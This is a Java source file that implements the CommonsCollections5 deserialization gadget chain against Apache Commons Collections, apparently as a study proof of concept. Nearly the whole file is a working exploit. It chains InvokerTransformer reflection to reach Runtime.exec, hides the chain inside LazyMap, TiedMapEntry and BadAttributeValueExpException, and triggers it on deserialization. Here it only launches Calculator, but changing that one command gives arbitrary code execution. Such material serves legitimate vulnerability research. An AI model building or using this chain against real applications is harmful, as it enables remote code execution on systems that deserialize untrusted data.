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| package Base.Unserialize.CC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections5{
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {
new ConstantTransformer(1)
};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String[].class },
new Object[]{new String[]{"open", "-a", "Calculator"}}),
new ConstantTransformer(1)
};
Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, "test2");
BadAttributeValueExpException badAttribute = new BadAttributeValueExpException(null);
setFieldValue(badAttribute,"val",tme);
setFieldValue(chainedTransformer,"iTransformers",transformers);
byte[] data =serialize(badAttribute);
Object o = unserialize(data);
}
private static void setFieldValue(Object obj, String field, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, value);
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
return baos.toByteArray();
}
public static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = ois.readObject();
ois.close();
return obj;
}
}
|
